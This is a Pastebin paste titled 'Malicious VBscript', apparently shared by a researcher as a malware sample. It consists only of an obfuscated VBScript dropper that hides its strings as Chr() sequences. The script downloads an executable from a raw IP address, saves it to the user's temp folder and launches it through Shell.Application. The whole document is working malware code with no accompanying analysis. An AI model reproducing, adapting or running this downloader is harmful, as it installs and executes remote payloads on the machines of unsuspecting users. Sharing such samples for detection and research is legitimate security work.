dynamoo

Malicious VBscript

Apr 22nd, 2015
401
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. dim dsdfwerttddf: Set dsdfwerttddf = createobject("Microsoft.XMLHTTP")
  2. dim jhvwrvcfdde3d: Set jhvwrvcfdde3d = createobject(Chr(65) & Chr(100) & Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109) )
  3. dsdfwerttddf.Open Chr(71) & Chr(69) & Chr(84) , Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(56) & Chr(53) & Chr(46) & Chr(57) & Chr(49) & Chr(46) & Chr(49) & Chr(55) & Chr(53) & Chr(46) & Chr(49) & Chr(56) & Chr(51) & Chr(47) & Chr(115) & Chr(97) & Chr(115) & Chr(47) & Chr(101) & Chr(118) & Chr(122) & Chr(120) & Chr(99) & Chr(101) & Chr(46) & Chr(101) & Chr(120) & Chr(101) , False
  4. dsdfwerttddf.Send
  5. Set dfgfderer = WScript.CreateObject(Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) ).Environment(Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115) )
  6. tempFolder = dfgfderer(Chr(84) & Chr(69) & Chr(77) & Chr(80) )
  7. jhvwrvcfdd = tempFolder + Chr(92) & Chr(106) & Chr(104) & Chr(118) & Chr(119) & Chr(114) & Chr(118) & Chr(99) & Chr(102) & Chr(46) & Chr(101) & Chr(120) & Chr(101)  
  8. with jhvwrvcfdde3d
  9.    .type = 1  
  10.     .open
  11.     .write dsdfwerttddf.responseBody
  12.     .savetofile jhvwrvcfdd, 2  
  13. end with
  14. Set dsdfwertt = CreateObject(Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) )
  15. dsdfwertt.Open jhvwrvcfdd
RAW Paste Data